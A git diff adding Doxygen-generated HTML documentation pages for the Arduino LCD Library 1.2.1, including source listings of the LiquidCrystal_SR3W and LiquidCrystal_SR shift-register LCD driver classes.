+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html new file mode 100644 index 0000000..fad12ed --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html @@ -0,0 +1,249 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR3W.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   4
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   6
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 126 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 127 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 128 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 129 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   4
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD's Enable

+ +

Definition at line 104 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 93 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT No BACKLIGHT MASK

+ +

Definition at line 86 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   6
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD's Register select pin

+ +

Definition at line 118 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD's Rw pin

+ +

Definition at line 111 of file LiquidCrystal_SR3W.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html new file mode 100644 index 0000000..535571c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html @@ -0,0 +1,336 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SRG.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // History
+00057 // 2012.03.29 bperrybap - fixed constructors not properly using Rs
+00058 //                        Fixed incorrect use of 5x10 for default font 
+00059 //                        - now matches original LQ library.
+00060 //                        moved delay to send() so it is per cmd/write vs shiftout()
+00061 //                        NOTE: delay is on hairy edge of working when FAST_MODE is on.
+00062 //                        because of waitUsec().
+00063 //                        There is margin at 16Mhz AVR but might fail on 20Mhz AVRs.
+00064 //                        
+00065 // @author F. Malpartida - fmalpartida@gmail.com
+00066 // ---------------------------------------------------------------------------
+00067 // flags for backlight control
+00068 #include <stdio.h>
+00069 #include <string.h>
+00070 #include <inttypes.h>
+00071 
+00072 #if (ARDUINO <  100)
+00073 #include <WProgram.h>
+00074 #else
+00075 #include <Arduino.h>
+00076 #endif
+00077 #include "LiquidCrystal_SR3W.h"
+00078 
+00079 #include "FastIO.h"
+00080 
+00086 #define LCD_NOBACKLIGHT 0x00
+00087 
+00093 #define LCD_BACKLIGHT   0xFF
+00094 
+00095 
+00096 // Default library configuration parameters used by class constructor with
+00097 // only the I2C address field.
+00098 // ---------------------------------------------------------------------------
+00104 #define EN 4  // Enable bit
+00105 
+00111 #define RW 5  // Read/Write bit
+00112 
+00118 #define RS 6  // Register select bit
+00119 
+00126 #define D4 0
+00127 #define D5 1
+00128 #define D6 2
+00129 #define D7 3
+00130 
+00131 
+00132 
+00133 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
+00134 {
+00135    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00136 }
+00137 
+00138 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00139                                        uint8_t backlighPin, t_backlighPol pol)
+00140 {
+00141    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00142    setBacklightPin(backlighPin, pol);
+00143 }
+00144 
+00145 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00146                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00147                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00148 {
+00149    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00150 }
+00151 
+00152 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00153                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00154                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00155                                        uint8_t backlighPin, t_backlighPol pol)
+00156 {
+00157    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00158    setBacklightPin(backlighPin, pol);
+00159 }
+00160 
+00161 
+00162 void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode)
+00163 {
+00164    
+00165    if ( mode != FOUR_BITS )
+00166    {
+00167       write4bits( (value >> 4), mode ); // upper nibble
+00168    }   
+00169    write4bits( (value & 0x0F), mode); // lower nibble
+00170 
+00171 
+00172 #if (F_CPU <= 16000000)
+00173    // No need to use the delay routines on AVR since the time taken to write
+00174    // on AVR with SR pin mapping even with fio is longer than LCD command execution.
+00175    waitUsec(37); //goes away on AVRs
+00176 #else
+00177    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00178 #endif
+00179 
+00180 }
+00181 
+00182 
+00183 void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00184 {
+00185    _backlightPinMask = ( 1 << value );
+00186    _backlightStsMask = LCD_NOBACKLIGHT;
+00187    _polarity = pol;
+00188    setBacklight (BACKLIGHT_OFF);     // Set backlight to off as initial setup
+00189 }
+00190 
+00191 void LiquidCrystal_SR3W::setBacklight ( uint8_t value )
+00192 {
+00193    // Check if backlight is available
+00194    // ----------------------------------------------------
+00195    if ( _backlightPinMask != 0x0 )
+00196    {
+00197       // Check for polarity to configure mask accordingly
+00198       // ----------------------------------------------------------
+00199       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00200            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00201       {
+00202          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00203       }
+00204       else 
+00205       {
+00206          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00207       }
+00208       loadSR( _backlightStsMask );
+00209    }
+00210 }
+00211 
+00212 
+00213 // PRIVATE METHODS
+00214 // -----------------------------------------------------------------------------
+00215 
+00216 int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00217                              uint8_t Rs, uint8_t Rw, uint8_t En,
+00218                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00219 {
+00220    _data       = fio_pinToBit(data);
+00221    _clk        = fio_pinToBit(clk);
+00222    _strobe     = fio_pinToBit(strobe);
+00223    _data_reg   = fio_pinToOutputRegister(data);
+00224    _clk_reg    = fio_pinToOutputRegister(clk);
+00225    _strobe_reg = fio_pinToOutputRegister(strobe);
+00226    
+00227    // LCD pin mapping
+00228    _backlightPinMask = 0;
+00229    _backlightStsMask = LCD_NOBACKLIGHT;
+00230    _polarity = POSITIVE;
+00231    
+00232    _En = ( 1 << En );
+00233    _Rw = ( 1 << Rw );
+00234    _Rs = ( 1 << Rs );
+00235    
+00236    // Initialise pin mapping
+00237    _data_pins[0] = ( 1 << d4 );
+00238    _data_pins[1] = ( 1 << d5 );
+00239    _data_pins[2] = ( 1 << d6 );
+00240    _data_pins[3] = ( 1 << d7 );
+00241    
+00242    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00243    
+00244    return (1);
+00245 }
+00246 
+00247 void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode)
+00248 {
+00249    uint8_t pinMapValue = 0;
+00250    
+00251    // Map the value to LCD pin mapping
+00252    // --------------------------------
+00253    for ( uint8_t i = 0; i < 4; i++ )
+00254    {
+00255       if ( ( value & 0x1 ) == 1 )
+00256       {
+00257          pinMapValue |= _data_pins[i];
+00258       }
+00259       value = ( value >> 1 );
+00260    }
+00261    
+00262    // Is it a command or data
+00263    // -----------------------
+00264    mode = ( mode == DATA ) ? _Rs : 0;
+00265    
+00266    pinMapValue |= mode | _backlightStsMask;
+00267    loadSR ( pinMapValue | _En );  // Send with enable high
+00268    loadSR ( pinMapValue); // Send with enable low
+00269 }
+00270 
+00271 
+00272 void LiquidCrystal_SR3W::loadSR(uint8_t value) 
+00273 {
+00274    // Load the shift register with information
+00275    fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST);
+00276    
+00277    // Strobe the data into the latch
+00278    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00279    {
+00280       fio_digitalWrite_HIGH(_strobe_reg, _strobe);
+00281       fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW);
+00282    }
+00283 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html new file mode 100644 index 0000000..2a5f588 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html @@ -0,0 +1,96 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR3W
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html new file mode 100644 index 0000000..5f3dbed --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html @@ -0,0 +1,201 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR3W.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // @author F. Malpartida - fmalpartida@gmail.com
+00057 // ---------------------------------------------------------------------------
+00058 #ifndef _LIQUIDCRYSTAL_SR3W_H_
+00059 #define _LIQUIDCRYSTAL_SR3W_H_
+00060 
+00061 #include <inttypes.h>
+00062 #include "LCD.h"
+00063 #include "FastIO.h"
+00064 
+00065 
+00066 class LiquidCrystal_SR3W : public LCD 
+00067 {
+00068 public:
+00069    
+00090    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe);
+00091    // Constructor with backlight control
+00092    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00093                       uint8_t backlighPin, t_backlighPol pol);   
+00094    
+00112    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00113                       uint8_t En, uint8_t Rw, uint8_t Rs, 
+00114                       uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00115    // Constructor with backlight control
+00116    LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe,
+00117                       uint8_t En, uint8_t Rw, uint8_t Rs, 
+00118                       uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00119                       uint8_t backlighPin, t_backlighPol pol);
+00120    
+00133    virtual void send(uint8_t value, uint8_t mode);
+00134    
+00143    void setBacklightPin ( uint8_t value, t_backlighPol pol );
+00144    
+00154    void setBacklight ( uint8_t value );
+00155    
+00156 private:
+00157    
+00163    int  init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00164              uint8_t Rs, uint8_t Rw, uint8_t En,
+00165              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00166    
+00175    void write4bits(uint8_t value, uint8_t mode);
+00176    
+00183    void loadSR(uint8_t value);
+00184    
+00185    
+00186    fio_bit      _strobe;           // shift register strobe pin
+00187    fio_register _strobe_reg;       // SR strobe pin MCU register
+00188    fio_bit      _data;             // shift register data pin
+00189    fio_register _data_reg;         // SR data pin MCU register
+00190    fio_bit      _clk;              // shift register clock pin
+00191    fio_register _clk_reg;          // SR clock pin MCU register
+00192    uint8_t      _En;               // LCD expander word for enable pin
+00193    uint8_t      _Rw;               // LCD expander word for R/W pin
+00194    uint8_t      _Rs;               // LCD expander word for Register Select pin
+00195    uint8_t      _data_pins[4];     // LCD data lines
+00196    uint8_t      _backlightPinMask; // Backlight IO pin mask
+00197    uint8_t      _backlightStsMask; // Backlight status mask
+00198    
+00199 };
+00200 
+00201 #endif
+00202 
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html new file mode 100644 index 0000000..8eb1854 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html @@ -0,0 +1,94 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html new file mode 100644 index 0000000..9a78cc1 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html @@ -0,0 +1,293 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+00040 // If not using Enable, the Data pin is used for the enable signal by defining
+00041 // the same pin for Enable as for Data. Data and Clock outputs/pins goes to
+00042 // the shiftregister.
+00043 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00044 // Busy Flag (BF, data bit D7) is not read.
+00045 //
+00046 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00047 //
+00048 //
+00049 // History
+00050 // 2012.03.29  bperrybap - Added delays for faster fio shiftout (it got too fast)
+00051 //             AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32.
+00052 //             Added code to support indicating two wire mode by using enable=data pin
+00053 //             (documentation indicated this as working)
+00054 //             Fixed incorrect use of 5x10 for default font - now matches original LQ library.
+00055 //             can now eliminate enable pin in constructor for two wire mode.
+00056 // 2012.01.16  Florian Fida - faster digitalWrite/shiftOut
+00057 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00058 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00059 //             just a bit more memory efficient.
+00060 //             Thanks to CapnBry (from google code and github) who noticed it.
+00061 //             URL to his version of shiftregLCD:
+00062 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00063 // 2009.07.30  raron - minor corrections to the comments.
+00064 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00065 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00066 //             more streamlined interface
+00067 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduino
+00068 //             playgrond forum, the number of wires now required is only two!
+00069 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00070 //             posting this, so I had to fix it.
+00071 //             Renamed a function, but no improvements or functional changes.
+00072 // 2009.07.23  Incorporated some proper initialization routines
+00073 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00074 //             library improvements from LadyAda.
+00075 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00076 //             on the "official" LiquidCrystal library.
+00077 //
+00078 //
+00079 // @author F. Malpartida - fmalpartida@gmail.com
+00080 // ---------------------------------------------------------------------------
+00081 #include <stdio.h>
+00082 #include <string.h>
+00083 #include <inttypes.h>
+00084 
+00085 #if (ARDUINO <  100)
+00086 #include <WProgram.h>
+00087 #else
+00088 #include <Arduino.h>
+00089 #endif
+00090 #include "LiquidCrystal_SR.h"
+00091 
+00092 #include "FastIO.h"
+00093 
+00094 
+00095 // CONSTRUCTORS
+00096 // ---------------------------------------------------------------------------
+00097 // Assuming 1 line 8 pixel high font
+00098 LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, 
+00099                                     uint8_t enable ) 
+00100 {
+00101         init ( srdata, srclock, enable, 1, 0 );
+00102 }
+00103 
+00104 
+00105 // PRIVATE METHODS
+00106 // ---------------------------------------------------------------------------
+00107 
+00108 //
+00109 // init
+00110 void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, 
+00111                             uint8_t lines, uint8_t font)
+00112 {
+00113    // Initialise private variables
+00114    _two_wire = 0;
+00115    
+00116    _srDataRegister = fio_pinToOutputRegister(srdata);
+00117    _srDataBit = fio_pinToBit(srdata);
+00118    _srClockRegister = fio_pinToOutputRegister(srclock);
+00119    _srClockBit = fio_pinToBit(srclock);
+00120    
+00121    if ((enable == TWO_WIRE) || (enable == srdata))
+00122    {
+00123       _two_wire = 1;
+00124       _srEnableRegister = _srDataRegister;
+00125       _srEnableBit = _srDataBit;
+00126    }
+00127    else
+00128    {
+00129       _srEnableRegister = fio_pinToOutputRegister(enable);
+00130       _srEnableBit = fio_pinToBit(enable);
+00131    }
+00132    
+00133    // Configure control pins as outputs
+00134    // ------------------------------------------------------------------------
+00135    
+00136    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00137 }
+00138 
+00139 //
+00140 // shiftIt
+00141 void LiquidCrystal_SR::shiftIt(uint8_t val)
+00142 {
+00143    if (_two_wire)
+00144    {
+00145       // Clear to get Enable LOW
+00146       fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit);
+00147    }
+00148    fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST);
+00149    
+00150    // LCD ENABLE PULSE
+00151    //
+00152    // While this library is written with a shift register without an output
+00153    // latch in mind, it can work in 3-wire mode with a shiftregister with a
+00154    // latch. The shiftregister latch pin (STR, RCL or similar) is then
+00155    // connected to the LCD enable pin. The LCD is (very likely) slower
+00156    // to read the Enable pulse, and then reads the new contents of the SR.
+00157    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00158    {
+00159       fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit);
+00160       waitUsec (1);         // enable pulse must be >450ns               
+00161       fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW);
+00162    } // end critical section
+00163 }
+00164 
+00165 // PUBLIC METHODS
+00166 // ---------------------------------------------------------------------------
+00167 
+00168 
+00169 /************ low level data pushing commands **********/
+00170 //
+00171 // send
+00172 void LiquidCrystal_SR::send(uint8_t value, uint8_t mode)
+00173 {
+00174    // Divide byte in two nibbles include the RS signal
+00175    // and format it for shiftregister output wiring to the LCD
+00176    // We are only interested in my COMMAND or DATA for myMode
+00177    uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00178    
+00179    if ( mode != FOUR_BITS )
+00180    {
+00181       shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble
+00182    }
+00183 
+00184    shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble
+00185    /*
+00186     * Add some delay since this code is so fast it needs some added delay
+00187     * even on AVRs because the shiftout is shorter than the LCD command execution time.
+00188     */
+00189 #if (F_CPU <= 16000000)
+00190    if(_two_wire)
+00191         delayMicroseconds ( 10 );
+00192    else
+00193         delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer
+00194 #else
+00195    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00196 #endif
+00197 
+00198 }
+00199 
+00200 //
+00201 // setBacklightPin
+00202 void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00203 { }
+00204 
+00205 //
+00206 // setBacklight
+00207 void LiquidCrystal_SR::setBacklight ( uint8_t mode ) 
+00208 { }
+00209 
+
+
+ + + + +
+ +
